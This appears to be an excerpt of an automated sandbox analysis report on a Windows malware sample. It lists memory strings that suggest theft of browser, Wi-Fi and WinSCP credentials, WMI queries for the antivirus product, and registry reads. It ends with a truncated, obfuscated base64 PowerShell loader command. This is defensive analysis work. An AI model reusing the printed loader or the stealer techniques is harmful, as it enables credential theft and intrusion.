"GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API "Win32API|File Installation Library Functions|GetFileVersionInfo" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp") Found reference to API "Win32API|System Information Functions|GetSystemDirectory" (Indicator: "GetSystemDirectory"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp")53:T72b,Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00005280.00000001.260141.9D410000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00005280.00000001.260141.9D430000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00005280.00000001.260141.9D430000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00005280.00000001.260141.9D460000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00005280.00000001.260141.9D460000.00000004.mdmp") Found string "adminpasswordstatus" (Indicator: "password"; Source: "00000000-00005280.00000001.260141.9D590000.00000004.mdmp") Found string "resetcomputermachinepasswordcommand" (Indicator: "password"; Source: "00000000-00005280.00000001.260141.9D590000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "hromium_passwords_" (Indicator: "password"; Source: "00000000-00005280.00000001.260141.BF910000.00000004.mdmp") Found string "ecko_passwords_" (Indicator: "password"; Source: "00000000-00005280.00000001.260141.BF910000.00000004.mdmp") Found string "ifi - GetPassword: Failed to retrieve password for profile '" (Indicator: "password"; Source: "00000000-00005280.00000001.260141.BF910000.00000004.mdmp") Found string "Saved networks with passwords:" (Indicator: "password"; Source: "00000000-00005280.00000001.260141.BF910000.00000004.mdmp") Found string "o WinSCP sessions found or master password is enabled." (Indicator: "password"; Source: "00000000-00005280.00000001.260141.BF910000.00000004.mdmp")54:T202c,Found string "instance of Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp, 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp, 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp") Found string "instance of Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp, 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp, 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp") Found string "instance of Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp, 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp, 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp") Found string "WMI.ExecQuery(SELECT * FROM Win32_Processor);" (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "WMI.ExecQuery(SELECT * FROM Win32_Processor);" (Indicator: " Win32_Processor"; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "hWMI.ExecQuery(SELECT * FROM Win32_VideoController);" (Indicator: " Win32_VideoController"; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "\WMI.ExecQuery(SELECT * FROM Win32_Processor);" (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "\WMI.ExecQuery(SELECT * FROM Win32_Processor);" (Indicator: " Win32_Processor"; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "hWMI.ExecQuery(SELECT * FROM win32_operatingsystem);" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "^WMI.ExecQuery(Select * from AntivirusProduct);" (Indicator: "antivirusproduct"; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "AntiVirusProduct" (Indicator: "antivirusproduct"; Source: "00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "instance of Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp") Found string "e of Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "e of Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "instance of AntiVirusProduct" (Indicator: "antivirusproduct"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "6-SELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "6-SELECT * FROM Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "e of Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") Found string "8BSelect * from AntivirusProduct" (Indicator: "antivirusproduct"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "\\DESKTOP-8LD9T6N\ROOT\SecurityCenter2:AntiVirusProduct.instanceGuid="{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}"" (Indicator: "antivirusproduct"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "SELECT * FROM win32_operatingsystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "SELECT * FROM Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "8bSELECT * FROM win32_operatingsystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "elSELECT * FROM Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "of Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") Found string "of Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") Found string "MI.ExecQuery(SELECT * FROM Win32_Processor);" (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "MI.ExecQuery(SELECT * FROM Win32_Processor);" (Indicator: " Win32_Processor"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "of Win32_Processor." (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") Found string "of Win32_Processor." (Indicator: " Win32_Processor"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") Found string "\DESKTOP-8LD9T6N\ROOT\SecurityCenter2:AntiVirusProduct.instanceGuid="{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}"" (Indicator: "antivirusproduct"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "SELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") Found string "SELECT * FROM Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") file/memory contains long string with (Indicator: " Win32_VideoController"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp")55:T15e1,Found string "\Device\HarddiskVolume3\Windows\System32\conhost.exe" (Indicator: "\Device\"; Source: "00000000-00000524-00000BC0-3021156585") Found string "\Device\HarddiskVolume3\Windows\System32\cmd.exe" (Indicator: "\Device\"; Source: "00000000-00000524-00000BC0-3023194144") Found string "\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Indicator: "\Device\"; Source: "00000000-00003800-00000BC0-3029629507") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000000.258219.A4EF0000.00000004.mdmp, 00000000-00005280.00000000.258219.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4EF0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A6A70000.00000004.mdmp, 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4EF0000.00000004.mdmp, 00000000-00005280.00000002.262058.A4FB0000.00000004.mdmp, 00000000-00005280.00000002.262058.A6A70000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.C0410000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000000.258219.A4EF0000.00000004.mdmp, 00000000-00005280.00000000.258219.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4EF0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A6A70000.00000004.mdmp, 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4EF0000.00000004.mdmp, 00000000-00005280.00000002.262058.A4FB0000.00000004.mdmp, 00000000-00005280.00000002.262058.A6A70000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.C0410000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "m32\drivers\SandboxFltr.sys" (Indicator: "\drivers\"; Source: "00000000-00005280.00000000.258219.A5350000.00000002.mdmp, 00000000-00005280.00000001.260141.A5350000.00000002.mdmp, 00000000-00005280.00000002.262058.A5350000.00000002.mdmp") Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "BootDevice = "\\Device\\HarddiskVolume1";" (Indicator: "\Device\"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp") Found string "\Device\HarddiskVolume3" (Indicator: "\Device\"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "Name = "Microsoft Windows 11 Pro|C:\\WINDOWS|\\Device\\Harddisk1\\Partition3";" (Indicator: "\Device\"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp") Found string "SystemDevice = "\\Device\\HarddiskVolume3";" (Indicator: "\Device\"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "Microsoft Windows 11 Pro|C:\WINDOWS|\Device\Harddisk1\Partition3" (Indicator: "\Device\"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "\Device\HarddiskVolume1" (Indicator: "\Device\"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") file/memory contains long string with (Indicator: "\Device\"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") Found string "'\\Device\\HarddiskVolume1';BuildNumber = '22621';BuildT" (Indicator: "\Device\"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp")56:T6b7,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "")57:T1994,Process "powershell.exe" with Obfuscated commandline "" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGIAYQBuAGEAbgBhAD0AIgAkAGUAbgBjkemhazxgp2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFjkemhazxgpwAYQBvAGMALgBiAGEAdAAiADsAaQBmACgAVjkemhazxgpABlAHMAdAAtAFAAYQB0AGgAIAAkAGIAYQBujkemhazxgpAGEAbgBhACkAewAkAHIAYQB3AEwAaQBuAGUjkemhazxgpAcwA9AGcAYwAgACQAYgBhAG4AYQBuAGEAfAjkemhazxgpA/AHsAJABfACAALQBsAGkAawBlACAAIgA6AjkemhazxgpDoAOgAqACIAfQA7ACQAcABhAHIAdAAxAD0AjkemhazxgpKAAkAHIAYQB3AEwAaQBuAGUAcwB8AD8AewAjkemhazxgpkAF8AIAAtAGwAaQBrAGUAIAAiADoAOgA6ADjkemhazxgpEAKgAiAH0AfAAlAHsAJABfAC4AUwB1AGIAcjkemhazxgpwB0AHIAaQBuAGcAKAA0ACkAfQApADsAJABwjkemhazxgpAGEAcgB0ADIAPQAoACQAcgBhAHcATABpAG4jkemhazxgpAZQBzAHwAPwB7ACQAXwAgAC0AbABpAGsAZQjkemhazxgpAgACIAOgA6ADoAMgAqACIAfQB8ACUAewAkAjkemhazxgpF8ALgBTAHUAYgBzAHQAcgBpAG4AZwAoADQAjkemhazxgpKQB9ACkAOwAkAHAAYQByAHQAMwA9ACgAJABjkemhazxgpyAGEAdwBMAGkAbgBlAHMAfAA/AHsAJABfACjkemhazxgpAALQBsAGkAawBlACAAIgA6ADoAOgAzACoAIjkemhazxgpgB9AHwAJQB7ACQAXwAuAFMAdQBiAHMAdAByjkemhazxgpAGkAbgBnACgANAApAH0AKQA7ACQAcABhAHIjkemhazxgpAdAA0AD0AKAAkAHIAYQB3AEwAaQBuAGUAcwjkemhazxgpB8AD8AewAkAF8AIAAtAGwAaQBrAGUAIAAiAjkemhazxgpDoAOgA6ADQAKgAiAH0AfAAlAHsAJABfAC4AjkemhazxgpUwB1AGIAcwB0AHIAaQBuAGcAKAA0ACkAfQAjkemhazxgppADsAJABwAGEAcgB0ADUAPQAoACQAcgBhAHjkemhazxgpcATABpAG4AZQBzAHwAPwB7ACQAXwAgAC0AbjkemhazxgpABpAGsAZQAgACIAOgA6ADoANQAqACIAfQB8jkemhazxgpACUAewAkAF8ALgBTAHUAYgBzAHQAcgBpAG4jkemhazxgpAZwAoADQAKQB9ACkAOwAkAGsAaQB3AGkAPQjkemhazxgpAkAHAAYQByAHQAMQArACQAcABhAHIAdAAyAjkemhazxgpCsAJABwAGEAcgB0ADMAKwAkAHAAYQByAHQAjkemhazxgpNAArACQAcABhAHIAdAA1ADsAJABhAHAAcABjkemhazxgpsAGUAPQAoACQAawBpAHcAaQAtAHIAZQBwAGjkemhazxgpwAYQBjAGUAIgBrAGkAdwBpAGwAZQBtAG8AbjkemhazxgpgAiACwAIgAiAC0AcgBlAHAAbABhAGMAZQAijkemhazxgpAHIAdwBoAGkAYQBzAHcAeQBvAGoAbgB0AG0jkemhazxgpAeQB0ACIALAAiACIAKQA7AGkAZgAoACQAYQjkemhazxgpBwAHAAbABlACkAewB0AHIAeQB7AGkAZQB4AjkemhazxgpCgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAjkemhazxgpbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBjkemhazxgpHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAGjkemhazxgp4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYjkemhazxgpQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABhjkemhazxgpAHAAcABsAGUAKQApACkAfQBjAGEAdABjAGgjkemhazxgpAewB9AH0AfQAKACQAbwByAGEAbgBnAGUAPQjkemhazxgpAnAEgANABzAEkAQQBBAEEAQQBBAEEAQQBFAjkemhazxgpEEASgBWAFUAYQAyACsAYgBNAEIAVAA5AEsAjkemhazxgpOQBiAEUARgBOAGcAeQBxADQAOQBwADcAUgBjkemhazxgpMAHgASQBhAEcAdgByAE8AMABhAEoAZQBrAHjkemhazxgpEATABhADAAbQBBADUAZgBFAEEAVwB4AG0ATjkemhazxgpwB5AFIAcwA2AG4AKwBmAE0AZQBUAFIAdABGjkemhazxgpAG8AMwBQAGkAQwA0AFAAdQBmAGMANgArAE4jkemhazxgpANwBiAFUAVwBGAEEASQA1AGMAWgBBAEgATAjkemhazxgpBXADcAZgBEADAAOABIAFgAegB2AFYAcAAyAjkemhazxgpDAAbwBnAEoAcgBrAE8AdgAvAEYAYQA5ADcAjkemhazxgpYwBTAGgATAB5ADMARABQAEsAZQA4AEEARAAjkemhazxgp3AFIATAAxAHAAUgAzAE0AVwBLAE0AbwBaAFjkemhazxgpcAawBEAEkAYgBTAHMAagBnAHEAUQAvAGMAajkemhazxgpQBLAGMAMwAwAGcALwBGAGcARgBaAC8AcgBujkemhazxgpAGoAWQBTAEUAVgBwAEgAZwBJAHcAVgB4AFEjkemhazxgpAVgBXAEIAUABGAEoAbgBpAEUAMABHAHkAYQjkemhazxgpBZAEUANwBJAEIAOQBhAEwAVQA4AEEAVQBXAjkemhazxgpEEANwA3AFcAMABtAHYAdQBZAGgAdgBFAEwAjkemhazxgpMwBhAEQAWQBGAFUAUQBKAEwAbABhADcAMwBjkemhazxgpWAEsAQgBQAHcAcABDAHkAeQBTAHMAYQBOAGjkemhazxgpEAbwBXADYAVgA5ADYAdwA2AE8AbgBNAHAAZjkemhazxgpABRAHIAQwBVADgAegBuAEkAUQBTAGcAUABQjkemhazxgpAEIARQArADcAUgBNAEsAbgBqADAATQBsAE4jkemhazxgpATgA5AHUAcwBGADUALwAvADMAegBJACsAcwjkemhazxgpBjAEgAWABaAEgAZQBEAG0AaABuAGMAVQBtAjkemhazxgpFAAUgB4ACsAbgA1ADEASAArAC8AaQBMAG8AjkemhazxgpZgAvAGEAKwB6AEkANAB2AHoAbgBqAFEAUAAjkemhazxgp0ADcAZAB4AHMANQBlAGUAOQAvACsASwBjAFjkemhazxgpYANQBiACsAOABnAEoAVQBkADMAaAAvAEUAcjkemhazxgpwA2AGsAYgBoAGQAegBiAHoAcgBnADgAWAA3jkemhazxgpAGwAbwB1AGgATQBCAHMAVABSAGoAcgAxACsjkemhazxgpAcQBWAHYAeQBlAHIAeABaAFgAUgBBAHQAUgjkemhazxgpBjAHMAQQByADYAaABJAGwASABnAGoAQQBaAjkemhazxgpGMAWgBHAGUAVQBVAGEAUwBiAHMASwBEAGUAjkemhazxgpTwB1AEUAbQAyAGkAdgBpAFQAYQAvACsAQQBjkemhazxgpyAFkAUgBFADEAZgBLAGcARwBmAFUASgBsAHjkemhazxgpgAKwBlAHgAbwBkADgASwBiAFEAdABxAFAANjkemhazxgpgA3AFkAUwAwAHMALwBqADUAMwAzADEAawA2jkemhazxgpAFYAeQA0AG4ANgBGAHgAWQBjAGIAZgB3AGEjkemhazxgpAQgBRAHIAVgB0AHYAUgB0ADgARABTAGsAWAjkemhazxgpBoAGYAWQBLAFMARwBvADMAdAA1AGgAVgBGAjkemhazxgpGoAOABGAE4AbgArAGQAVwBWAGUANgBqAE4AjkemhazxgpagAwAFoAYgBEAEgAMAAwAHkAQQBsAEwAcABjkemhazxgpJAGYAUAA2AGQAWgBuAFgAQwBxAHIASQBtAEjkemhazxgpcAdQA5AEEAdAByADcAcgBIAHQATQBIAFUAYjkemhazxgpwBlAGMAcgBXAFEAYQBtAEIAVQBqAFAAVQBtjkemhazxgpAG0AegBpAGMAcgBPADMAYQBaAFIATAB0AEIjkemhazxgpAdwAzAG8ANQBPAE8ASQBkAEkAVQBpAGgAZwjkemhazxgpB4AHQAMwA0ADQASgBtADIAMABkAGEAZgBSAjkemhazxgpDUAcwBHAFMAMwBKAEwASQA3AFgAWABUAG0AjkemhazxgpQQBLAEEARgBEAHgAUgAwAHAASQBmAFcAVABjkemhazxgpRAHUALwBrAGkAcABQAFEASAB2AHUARgBnAHjkemhazxgpYASABEAHcAegBQAEQAVwBWAGgARQAzAEsAMjkemhazxgpgBFADgAQwBsAFQAbwB1AGgAegB5AHQAVABXjkemhazxgpAEkAdQA2AHgAbgBNAGQAZwBXADIAeQBlAEojkemhazxgpASwB1AGUAcQBvAHAAbwBQADEAcABUAEwAaAjkemhazxgpBXACsANwBlAEUAQgBXAGUAagAzAEgAVwBVAjkemhazxgpGgAWAA0AHkAbwBTAHEAQwA4AHIAcwB3AEYAjkemhazxgpMQBiAGIAbQB3AGQATABmAFQATABpADIALwBjkemhazxgpvAHcAbQBwAGMAYwBEAEkARwBFAG4AUwBVAGjkemhazxgpEAdwBWAEgAYQBGAGQAZgBBAHcAUwA2AGkAejkemhazxgpQB4ADYAYwBzAHAANABJAHoAYgBVADAANQBajkemhazxgpAFAAcQBJAHIAeQBnAEQAcAA2ADMAYgBIAFUjkemhazxgpAZwB3AFIAYgBhAGwAZgBMAGIAawBpAEQASgjkemhazxgpBVAHEAVAB2AEkARwBFAEsAagAxAFIASQBlAjkemhazxgpEsAaQBLAFUAdgBLAE4AcQBhAGoAZABhAEwAjkemhazxgpZABSAHcAbgBCAEoAZwBVAEcAWgB2AHMAMQAjkemhazxgp4AFQAUABuAEYAWAA0AEwAawB2AHEALwBFADjkemhazxgpkAcgBIAHcAcABIADEALwBuAGkAcwAzAGYANjkemhazxgpAA2AE0AbABrADIATAB1AGoAaQB0AFEANgBhjkemhazxgpAE8AaAAxADkAVQAyADcAdgBWAHMAVwB3AFgjkemhazxgpAeABKADUARgByAEoAZwBMAFoANQBYADIATAjkemhazxgpA3AFAARgBmADcAZwBtAGoATwBOADUANwBjAjkemhazxgpEIAegBOAGoAZgBJAFoALwAxAC8AcQB2AHEAjkemhazxgpRwBXAFAAWQBLAHEAMwBNAGkAYwBVAEIAMABjkemhazxgpwAEYAWgBIAGQAMwBGAFMATQA3AE0AYgBiAGjkemhazxgpQAOQBxAEYAOQBoACsAMABaADEAeABpAFQAZjkemhazxgpwBZAEEAQQBBAD0APQAnADsAJABtAGEAbgBnjkemhazxgpAG8APQBbAEMAbwBuAHYAZQByAHQAXQA6ADojkemhazxgpARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgjkemhazxgpBpAG4AZwAoACQAbwByAGEAbgBnAGUAK